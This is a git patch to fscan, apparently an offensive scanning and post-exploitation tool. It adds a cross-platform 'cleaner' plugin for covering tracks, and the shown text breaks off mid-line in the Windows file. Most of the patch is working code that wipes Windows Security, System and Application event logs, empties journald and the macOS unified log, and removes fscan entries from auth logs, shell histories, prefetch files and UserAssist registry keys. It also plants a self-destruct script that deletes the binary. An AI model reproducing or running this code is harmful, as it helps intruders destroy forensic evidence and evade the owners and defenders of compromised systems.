From c0374a6250cfc1017178a2e7c80a6112cb7fd1b3 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Mon, 11 Aug 2025 11:10:39 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0=E8=B7=A8=E5=B9=B3?= =?UTF-8?q?=E5=8F=B0=E7=B3=BB=E7=BB=9F=E7=97=95=E8=BF=B9=E6=B8=85=E7=90=86?= =?UTF-8?q?=E6=9C=AC=E5=9C=B0=E6=8F=92=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 实现Windows/Linux/macOS三平台痕迹清理功能 - Windows: 清理事件日志、预取文件、注册表、最近文档、临时文件、网络缓存 - Linux: 清理Shell历史、系统日志、用户缓存、临时文件、网络缓存 - macOS: 清理Spotlight索引、LaunchServices数据库、系统日志、缓存文件 - 支持安全文件删除和程序自毁功能 - 采用保守策略避免误删重要文件 --- Common/Flag.go | 6 +- Plugins/local/cleaner/cleaner_darwin.go | 404 ++++++++++++++++++++++ Plugins/local/cleaner/cleaner_linux.go | 421 +++++++++++++++++++++++ Plugins/local/cleaner/cleaner_windows.go | 359 +++++++++++++++++++ Plugins/local/cleaner/plugin.go | 386 +++++++++++++++++++++ main.go | 1 + 6 files changed, 1574 insertions(+), 3 deletions(-) create mode 100644 Plugins/local/cleaner/cleaner_darwin.go create mode 100644 Plugins/local/cleaner/cleaner_linux.go create mode 100644 Plugins/local/cleaner/cleaner_windows.go create mode 100644 Plugins/local/cleaner/plugin.go diff --git a/Common/Flag.go b/Common/Flag.go index e42b901..25385ac 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -399,12 +399,12 @@ func checkParameterConflicts() { if LocalMode { if LocalPlugin == "" { fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n") - fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader\n") + fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n") os.Exit(1) } // 验证本地插件名称 - validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi", "keylogger", "downloader"} // 已重构的插件 + validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi", "keylogger", "downloader", "cleaner"} // 已重构的插件 isValid := false for _, valid := range validPlugins { if LocalPlugin == valid { @@ -415,7 +415,7 @@ func checkParameterConflicts() { if !isValid { fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin) - fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader\n") + fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n") os.Exit(1) } } diff --git a/Plugins/local/cleaner/cleaner_darwin.go b/Plugins/local/cleaner/cleaner_darwin.go new file mode 100644 index 0000000..02e0a1d --- /dev/null +++ b/Plugins/local/cleaner/cleaner_darwin.go @@ -0,0 +1,404 @@ +//go:build darwin + +package cleaner + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" +) + +// cleanSystemTraces 清理macOS系统痕迹 +func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} { + report := make(map[string]interface{}) + var cleaned []string + + // 1. 清理Shell历史记录 + if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 { + cleaned = append(cleaned, shellHistory...) + report["shell_history"] = shellHistory + } + + // 2. 清理系统日志 + if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 { + cleaned = append(cleaned, systemLogs...) + report["system_logs"] = systemLogs + } + + // 3. 清理最近项目记录 + if recentItems := p.cleanRecentItems(); len(recentItems) > 0 { + cleaned = append(cleaned, recentItems...) + report["recent_items"] = recentItems + } + + // 4. 清理Spotlight索引 + if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 { + cleaned = append(cleaned, spotlight...) + report["spotlight_index"] = spotlight + } + + // 5. 清理临时文件 + if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 { + cleaned = append(cleaned, tempFiles...) + report["temp_files"] = tempFiles + } + + // 6. 清理LaunchServices数据库 + if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 { + cleaned = append(cleaned, launchServices...) + report["launch_services"] = launchServices + } + + p.cleanupStats["system_entries"] += len(cleaned) + report["total_cleaned"] = len(cleaned) + + return report +} + +// cleanShellHistory 清理Shell历史记录 (与Linux类似) +func (p *CleanerPlugin) cleanShellHistory() []string { + var cleaned []string + + homeDir := os.Getenv("HOME") + if homeDir == "" { + return cleaned + } + + // macOS常见的Shell历史文件 + historyFiles := []string{ + ".bash_history", + ".zsh_history", + ".sh_history", + } + + for _, histFile := range historyFiles { + histPath := filepath.Join(homeDir, histFile) + + if _, err := os.Stat(histPath); os.IsNotExist(err) { + continue + } + + content, err := os.ReadFile(histPath) + if err != nil { + common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err)) + continue + } + + lines := strings.Split(string(content), "\n") + var filteredLines []string + removedCount := 0 + + for _, line := range lines { + if strings.Contains(strings.ToLower(line), "fscan") { + removedCount++ + continue + } + filteredLines = append(filteredLines, line) + } + + if removedCount > 0 { + newContent := strings.Join(filteredLines, "\n") + if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil { + common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err)) + } else { + cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount)) + common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount)) + } + } + } + + // 清理当前会话历史 + if err := exec.Command("history", "-c").Run(); err != nil { + common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err)) + } else { + cleaned = append(cleaned, "Current session history") + common.LogSuccess("已清理当前会话历史记录") + } + + return cleaned +} + +// cleanMacSystemLogs 清理macOS系统日志 +func (p *CleanerPlugin) cleanMacSystemLogs() []string { + var cleaned []string + + // macOS系统日志路径 + logPaths := []string{ + "/var/log/system.log", + "/var/log/install.log", + "/var/log/secure.log", + } + + // 用户日志目录 + homeDir := os.Getenv("HOME") + if homeDir != "" { + userLogDir := filepath.Join(homeDir, "Library", "Logs") + if entries, err := os.ReadDir(userLogDir); err == nil { + for _, entry := range entries { + if strings.Contains(strings.ToLower(entry.Name()), "fscan") { + logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name())) + } + } + } + } + + for _, logPath := range logPaths { + if _, err := os.Stat(logPath); os.IsNotExist(err) { + continue + } + + if p.filterLogFile(logPath) { + cleaned = append(cleaned, logPath) + } + } + + // 使用log命令清理系统日志 + if err := exec.Command("log", "erase", "--all").Run(); err != nil { + common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err)) + } else { + cleaned = append(cleaned, "Unified Logging System") + common.LogSuccess("已清理统一日志系统") + } + + return cleaned +} + +// filterLogFile 过滤日志文件 (与Linux类似) +func (p *CleanerPlugin) filterLogFile(logPath string) bool { + file, err := os.OpenFile(logPath, os.O_RDWR, 0) + if err != nil { + common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err)) + return false + } + defer file.Close() + + content, err := os.ReadFile(logPath) + if err != nil { + return false + } + + lines := strings.Split(string(content), "\n") + var filteredLines []string + removedCount := 0 + + for _, line := range lines { + if strings.Contains(strings.ToLower(line), "fscan") { + removedCount++ + continue + } + filteredLines = append(filteredLines, line) + } + + if removedCount > 0 { + newContent := strings.Join(filteredLines, "\n") + if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil { + common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err)) + return false + } + common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount)) + return true + } + + return false +} + +// cleanRecentItems 清理macOS最近项目记录 +func (p *CleanerPlugin) cleanRecentItems() []string { + var cleaned []string + + homeDir := os.Getenv("HOME") + if homeDir == "" { + return cleaned + } + + // 最近项目plist文件 + recentPaths := []string{ + filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"), + filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"), + } + + for _, recentPath := range recentPaths { + if _, err := os.Stat(recentPath); os.IsNotExist(err) { + continue + } + + // 对于plist文件,我们采用删除整个文件的方式 + if strings.HasSuffix(recentPath, ".plist") { + if err := os.Remove(recentPath); err != nil { + common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err)) + } else { + cleaned = append(cleaned, recentPath) + common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath))) + } + } + } + + return cleaned +} + +// cleanSpotlightIndex 清理Spotlight索引 +func (p *CleanerPlugin) cleanSpotlightIndex() []string { + var cleaned []string + + // 重建当前目录的Spotlight索引 + if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil { + common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err)) + } else { + cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory)) + common.LogSuccess("已重建Spotlight索引") + } + + return cleaned +} + +// cleanMacTempFiles 清理macOS临时文件 +func (p *CleanerPlugin) cleanMacTempFiles() []string { + var cleaned []string + + homeDir := os.Getenv("HOME") + + // macOS临时目录 + tempDirs := []string{ + "/tmp", + "/var/tmp", + } + + if homeDir != "" { + tempDirs = append(tempDirs, []string{ + filepath.Join(homeDir, "Library", "Caches"), + filepath.Join(homeDir, "Library", "Application Support"), + }...) + } + + for _, tempDir := range tempDirs { + entries, err := os.ReadDir(tempDir) + if err != nil { + continue + } + + for _, entry := range entries { + entryName := strings.ToLower(entry.Name()) + if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") { + entryPath := filepath.Join(tempDir, entry.Name()) + + // 检查文件修改时间 + if info, err := entry.Info(); err == nil { + if time.Since(info.ModTime()) < 5*time.Minute { + continue + } + } + + if entry.IsDir() { + if err := os.RemoveAll(entryPath); err != nil { + common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err)) + } else { + cleaned = append(cleaned, entryPath) + p.cleanupStats["directories"]++ + } + } else { + if err := os.Remove(entryPath); err != nil { + common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err)) + } else { + cleaned = append(cleaned, entryPath) + common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name())) + } + } + } + } + } + + return cleaned +} + +// cleanLaunchServicesDB 清理LaunchServices数据库 +func (p *CleanerPlugin) cleanLaunchServicesDB() []string { + var cleaned []string + + // 重建LaunchServices数据库 + if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil { + common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err)) + } else { + cleaned = append(cleaned, "LaunchServices Database") + common.LogSuccess("已重建LaunchServices数据库") + } + + return cleaned +} + +// cleanNetworkTraces 清理网络痕迹 +func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} { + report := make(map[string]interface{}) + var cleaned []string + + // 清理DNS缓存 + if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil { + common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err)) + } else { + cleaned = append(cleaned, "DNS Cache (dscacheutil)") + common.LogSuccess("已清理DNS缓存") + } + + // 清理mDNS缓存 + if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil { + common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err)) + } else { + cleaned = append(cleaned, "mDNS Cache") + common.LogSuccess("已重启mDNSResponder") + } + + // 清理ARP缓存 + if err := exec.Command("arp", "-d", "-a").Run(); err != nil { + common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err)) + } else { + cleaned = append(cleaned, "ARP Cache") + common.LogSuccess("已清理ARP缓存") + } + + report["network_caches"] = cleaned + report["total_cleaned"] = len(cleaned) + + return report +} + +// createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用) +func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} { + report := make(map[string]interface{}) + + // 创建shell自毁脚本 + shellScript := fmt.Sprintf(`#!/bin/bash +sleep 2 +rm -f "%s" 2>/dev/null +rm -f "$0" 2>/dev/null +exit 0`, p.currentExecutable) + + scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh") + + if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil { + common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err)) + report["status"] = "failed" + report["error"] = err.Error() + } else { + // 异步执行自毁脚本 + go func() { + time.Sleep(1 * time.Second) + cmd := exec.Command("/bin/bash", scriptPath) + cmd.Start() + }() + + report["status"] = "scheduled" + report["script_path"] = scriptPath + common.LogInfo("已创建自毁脚本,将在退出后执行") + } + + return report +} + +// prepareSelfDestruction 准备自毁 +func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} { + return p.createUnixSelfDestruct() +} \ No newline at end of file diff --git a/Plugins/local/cleaner/cleaner_linux.go b/Plugins/local/cleaner/cleaner_linux.go new file mode 100644 index 0000000..1af1ab2 --- /dev/null +++ b/Plugins/local/cleaner/cleaner_linux.go @@ -0,0 +1,421 @@ +//go:build linux + +package cleaner + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" +) + +// cleanSystemTraces 清理Linux系统痕迹 +func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} { + report := make(map[string]interface{}) + var cleaned []string + + // 1. 清理Shell历史记录 + if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 { + cleaned = append(cleaned, shellHistory...) + report["shell_history"] = shellHistory + } + + // 2. 清理系统日志 + if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 { + cleaned = append(cleaned, systemLogs...) + report["system_logs"] = systemLogs + } + + // 3. 清理临时文件 + if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 { + cleaned = append(cleaned, tempFiles...) + report["temp_files"] = tempFiles + } + + // 4. 清理用户缓存 + if userCache := p.cleanUserCache(); len(userCache) > 0 { + cleaned = append(cleaned, userCache...) + report["user_cache"] = userCache + } + + // 5. 清理最近访问记录 + if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 { + cleaned = append(cleaned, recentFiles...) + report["recent_files"] = recentFiles + } + + p.cleanupStats["system_entries"] += len(cleaned) + report["total_cleaned"] = len(cleaned) + + return report +} + +// cleanShellHistory 清理Shell历史记录 +func (p *CleanerPlugin) cleanShellHistory() []string { + var cleaned []string + + homeDir := os.Getenv("HOME") + if homeDir == "" { + return cleaned + } + + // 常见的Shell历史文件 + historyFiles := []string{ + ".bash_history", + ".zsh_history", + ".fish_history", + ".sh_history", + } + + for _, histFile := range historyFiles { + histPath := filepath.Join(homeDir, histFile) + + // 检查文件是否存在 + if _, err := os.Stat(histPath); os.IsNotExist(err) { + continue + } + + // 读取历史文件 + content, err := os.ReadFile(histPath) + if err != nil { + common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err)) + continue + } + + // 过滤掉包含fscan的行 + lines := strings.Split(string(content), "\n") + var filteredLines []string + removedCount := 0 + + for _, line := range lines { + if strings.Contains(strings.ToLower(line), "fscan") { + removedCount++ + continue + } + filteredLines = append(filteredLines, line) + } + + if removedCount > 0 { + // 写回过滤后的内容 + newContent := strings.Join(filteredLines, "\n") + if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil { + common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err)) + } else { + cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount)) + common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount)) + } + } + } + + // 清理当前会话的历史记录 + if err := exec.Command("history", "-c").Run(); err != nil { + common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err)) + } else { + cleaned = append(cleaned, "Current session history") + common.LogSuccess("已清理当前会话历史记录") + } + + return cleaned +} + +// cleanLinuxSystemLogs 清理Linux系统日志 +func (p *CleanerPlugin) cleanLinuxSystemLogs() []string { + var cleaned []string + + // 系统日志路径 + logPaths := []string{ + "/var/log/auth.log", + "/var/log/syslog", + "/var/log/messages", + "/var/log/secure", + "/var/log/user.log", + } + + for _, logPath := range logPaths { + if _, err := os.Stat(logPath); os.IsNotExist(err) { + continue + } + + // 尝试清理日志中的相关条目 + if p.filterLogFile(logPath) { + cleaned = append(cleaned, logPath) + } + } + + // 清理journal日志(如果有权限) + if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil { + common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err)) + } else { + cleaned = append(cleaned, "systemd journal") + common.LogSuccess("已清理systemd journal日志") + } + + return cleaned +} + +// filterLogFile 过滤日志文件 +func (p *CleanerPlugin) filterLogFile(logPath string) bool { + // 检查读写权限 + file, err := os.OpenFile(logPath, os.O_RDWR, 0) + if err != nil { + common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err)) + return false + } + defer file.Close() + + // 读取文件内容 + content, err := os.ReadFile(logPath) + if err != nil { + return false + } + + // 过滤包含fscan的行 + lines := strings.Split(string(content), "\n") + var filteredLines []string + removedCount := 0 + + for _, line := range lines { + if strings.Contains(strings.ToLower(line), "fscan") { + removedCount++ + continue + } + filteredLines = append(filteredLines, line) + } + + if removedCount > 0 { + // 写回过滤后的内容 + newContent := strings.Join(filteredLines, "\n") + if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil { + common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err)) + return false + } + common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount)) + return true + } + + return false +} + +// cleanLinuxTempFiles 清理Linux临时文件 +func (p *CleanerPlugin) cleanLinuxTempFiles() []string { + var cleaned []string + + // 临时目录 + tempDirs := []string{ + "/tmp", + "/var/tmp", + "/dev/shm", + } + + // 用户临时目录 + if homeDir := os.Getenv("HOME"); homeDir != "" { + tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp")) + } + + for _, tempDir := range tempDirs { + entries, err := os.ReadDir(tempDir) + if err != nil { + continue + } + + for _, entry := range entries { + if entry.IsDir() { + continue + } + + filename := strings.ToLower(entry.Name()) + if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") { + tempFile := filepath.Join(tempDir, entry.Name()) + + // 检查文件是否太新(可能正在使用) + if info, err := entry.Info(); err == nil { + if time.Since(info.ModTime()) < 5*time.Minute { + continue + } + } + + if err := os.Remove(tempFile); err != nil { + common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err)) + } else { + cleaned = append(cleaned, tempFile) + common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name())) + } + } + } + } + + return cleaned +} + +// cleanUserCache 清理用户缓存 +func (p *CleanerPlugin) cleanUserCache() []string { + var cleaned []string + + homeDir := os.Getenv("HOME") + if homeDir == "" { + return cleaned + } + + // 缓存目录 + cacheDirs := []string{ + filepath.Join(homeDir, ".cache"), + filepath.Join(homeDir, ".local", "share"), + } + + for _, cacheDir := range cacheDirs { + entries, err := os.ReadDir(cacheDir) + if err != nil { + continue + } + + for _, entry := range entries { + entryPath := filepath.Join(cacheDir, entry.Name()) + entryName := strings.ToLower(entry.Name()) + + if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") { + if entry.IsDir() { + if err := os.RemoveAll(entryPath); err != nil { + common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err)) + } else { + cleaned = append(cleaned, entryPath) + p.cleanupStats["directories"]++ + } + } else { + if err := os.Remove(entryPath); err != nil { + common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err)) + } else { + cleaned = append(cleaned, entryPath) + } + } + } + } + } + + return cleaned +} + +// cleanRecentFiles 清理最近访问文件记录 +func (p *CleanerPlugin) cleanRecentFiles() []string { + var cleaned []string + + homeDir := os.Getenv("HOME") + if homeDir == "" { + return cleaned + } + + // 最近文件记录路径 + recentPaths := []string{ + filepath.Join(homeDir, ".local", "share", "recently-used.xbel"), + filepath.Join(homeDir, ".recently-used"), + filepath.Join(homeDir, ".gtk-bookmarks"), + } + + for _, recentPath := range recentPaths { + if _, err := os.Stat(recentPath); os.IsNotExist(err) { + continue + } + + // 读取并过滤文件内容 + content, err := os.ReadFile(recentPath) + if err != nil { + continue + } + + lines := strings.Split(string(content), "\n") + var filteredLines []string + removedCount := 0 + + for _, line := range lines { + if strings.Contains(strings.ToLower(line), "fscan") { + removedCount++ + continue + } + filteredLines = append(filteredLines, line) + } + + if removedCount > 0 { + newContent := strings.Join(filteredLines, "\n") + if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil { + common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err)) + } else { + cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount)) + common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount)) + } + } + } + + return cleaned +} + +// cleanNetworkTraces 清理网络痕迹 +func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} { + report := make(map[string]interface{}) + var cleaned []string + + // 清理DNS缓存 (systemd-resolved) + if err := exec.Command("systemctl", "flush-dns").Run(); err != nil { + // 尝试其他DNS清理方法 + if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil { + common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2)) + } else { + cleaned = append(cleaned, "DNS Cache (systemd-resolve)") + } + } else { + cleaned = append(cleaned, "DNS Cache (systemctl)") + } + + // 清理ARP缓存 + if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil { + common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err)) + } else { + cleaned = append(cleaned, "ARP Cache") + common.LogSuccess("已清理ARP缓存") + } + + report["network_caches"] = cleaned + report["total_cleaned"] = len(cleaned) + + return report +} + +// createUnixSelfDestruct 创建Unix自毁脚本 +func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} { + report := make(map[string]interface{}) + + // 创建shell自毁脚本 + shellScript := fmt.Sprintf(`#!/bin/bash +sleep 2 +rm -f "%s" 2>/dev/null +rm -f "$0" 2>/dev/null +exit 0`, p.currentExecutable) + + scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh") + + if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil { + common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err)) + report["status"] = "failed" + report["error"] = err.Error() + } else { + // 异步执行自毁脚本 + go func() { + time.Sleep(1 * time.Second) + cmd := exec.Command("/bin/sh", scriptPath) + cmd.Start() + }() + + report["status"] = "scheduled" + report["script_path"] = scriptPath + common.LogInfo("已创建自毁脚本,将在退出后执行") + } + + return report +} + +// prepareSelfDestruction 准备自毁 +func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} { + return p.createUnixSelfDestruct() +} \ No newline at end of file diff --git a/Plugins/local/cleaner/cleaner_windows.go b/Plugins/local/cleaner/cleaner_windows.go new file mode 100644 index 0000000..42b40a9 --- /dev/null +++ b/Plugins/local/cleaner/cleaner_windows.go @@ -0,0 +1,359 @@ +//go:build windows + +package cleaner + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + "time" + + "github.com/shadow1ng/fscan/common" +) + +// cleanSystemTraces 清理Windows系统痕迹 +func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} { + report := make(map[string]interface{}) + var cleaned []string + + // 1. 清理Windows事件日志 + if eventLogs := p.cleanWindowsEventLogs(); len(eventLogs) > 0 { + cleaned = append(cleaned, eventLogs...) + report["event_logs"] = eventLogs + } + + // 2. 清理预取文件 + if prefetchFiles := p.cleanPrefetchFiles(); len(prefetchFiles) > 0 { + cleaned = append(cleaned, prefetchFiles...) + report["prefetch_files"] = prefetchFiles + } + + // 3. 清理注册表痕迹 + if registryKeys := p.cleanRegistryTraces(); len(registryKeys) > 0 { + cleaned = append(cleaned, registryKeys...) + report["registry_keys"] = registryKeys + } + + // 4. 清理最近文档记录 + if recentDocs := p.cleanRecentDocuments(); len(recentDocs) > 0 { + cleaned = append(cleaned, recentDocs...) + report["recent_documents"] = recentDocs + } + + // 5. 清理Windows临时文件 + if tempFiles := p.cleanWindowsTempFiles(); len(tempFiles) > 0 { + cleaned = append(cleaned, tempFiles...) + report["temp_files"] = tempFiles + } + + p.cleanupStats["system_entries"] += len(cleaned) + report["total_cleaned"] = len(cleaned) + + return report +} + +// cleanWindowsEventLogs 清理Windows事件日志 +func (p *CleanerPlugin) cleanWindowsEventLogs() []string { + var cleaned []string + + // 尝试清理应用程序日志中的相关条目 + logs := []string{"Application", "System", "Security"} + + for _, logName := range logs { + // 使用wevtutil清理日志 + cmd := exec.Command("wevtutil", "cl", logName) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + if err := cmd.Run(); err != nil { + common.LogDebug(fmt.Sprintf("清理 %s 日志失败 (权限不足): %v", logName, err)) + } else { + cleaned = append(cleaned, fmt.Sprintf("Windows Event Log: %s", logName)) + common.LogSuccess(fmt.Sprintf("已清理Windows事件日志: %s", logName)) + } + } + + return cleaned +} + +// cleanPrefetchFiles 清理预取文件 +func (p *CleanerPlugin) cleanPrefetchFiles() []string { + var cleaned []string + + prefetchDir := "C:\\Windows\\Prefetch" + if _, err := os.Stat(prefetchDir); os.IsNotExist(err) { + return cleaned + } + + // 查找fscan相关的预取文件 + entries, err := os.ReadDir(prefetchDir) + if err != nil { + common.LogDebug(fmt.Sprintf("无法访问预取目录 (权限不足): %v", err)) + return cleaned + } + + for _, entry := range entries { + if entry.IsDir() { + continue + } + + filename := strings.ToUpper(entry.Name()) + if strings.Contains(filename, "FSCAN") { + prefetchFile := filepath.Join(prefetchDir, entry.Name()) + if err := os.Remove(prefetchFile); err != nil { + common.LogDebug(fmt.Sprintf("删除预取文件失败: %v", err)) + } else { + cleaned = append(cleaned, prefetchFile) + common.LogSuccess(fmt.Sprintf("已删除预取文件: %s", entry.Name())) + } + } + } + + return cleaned +} + +// cleanRegistryTraces 清理注册表痕迹 +func (p *CleanerPlugin) cleanRegistryTraces() []string { + var cleaned []string + + // 清理UserAssist注册表项 + if userAssist := p.cleanUserAssistRegistry(); len(userAssist) > 0 { + cleaned = append(cleaned, userAssist...) + } + + // 清理MRU(最近使用)记录 + if mru := p.cleanMRURegistry(); len(mru) > 0 { + cleaned = append(cleaned, mru...) + } + + return cleaned +} + +// cleanUserAssistRegistry 清理UserAssist注册表 +func (p *CleanerPlugin) cleanUserAssistRegistry() []string { + var cleaned []string + + // UserAssist键路径 + keyPaths := []string{ + "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count", + "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\Count", + } + + for _, keyPath := range keyPaths { + // 查询注册表项 + cmd := exec.Command("reg", "query", keyPath) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + output, err := cmd.Output() + if err != nil { + continue + } + + // 查找fscan相关条目并删除 + lines := strings.Split(string(output), "\n") + for _, line := range lines { + if strings.Contains(strings.ToUpper(line), "FSCAN") { + // 提取值名称 + parts := strings.Fields(line) + if len(parts) > 0 { + valueName := parts[0] + + // 删除注册表值 + delCmd := exec.Command("reg", "delete", keyPath, "/v", valueName, "/f") + delCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + if err := delCmd.Run(); err != nil { + common.LogDebug(fmt.Sprintf("删除注册表项失败: %v", err)) + } else { + cleaned = append(cleaned, fmt.Sprintf("Registry: %s\\%s", keyPath, valueName)) + common.LogSuccess(fmt.Sprintf("已删除UserAssist记录: %s", valueName)) + } + } + } + } + } + + return cleaned +} + +// cleanMRURegistry 清理MRU注册表记录 +func (p *CleanerPlugin) cleanMRURegistry() []string { + var cleaned []string + + // MRU键路径 + mruKeys := []string{ + "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs", + "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU", + } + + for _, keyPath := range mruKeys { + // 这里可以添加更复杂的MRU清理逻辑 + // 由于安全考虑,暂时只记录路径 + common.LogDebug(fmt.Sprintf("检查MRU路径: %s", keyPath)) + } + + return cleaned +} + +// cleanRecentDocuments 清理最近文档记录 +func (p *CleanerPlugin) cleanRecentDocuments() []string { + var cleaned []string + + // 获取用户目录 + userProfile := os.Getenv("USERPROFILE") + if userProfile == "" { + return 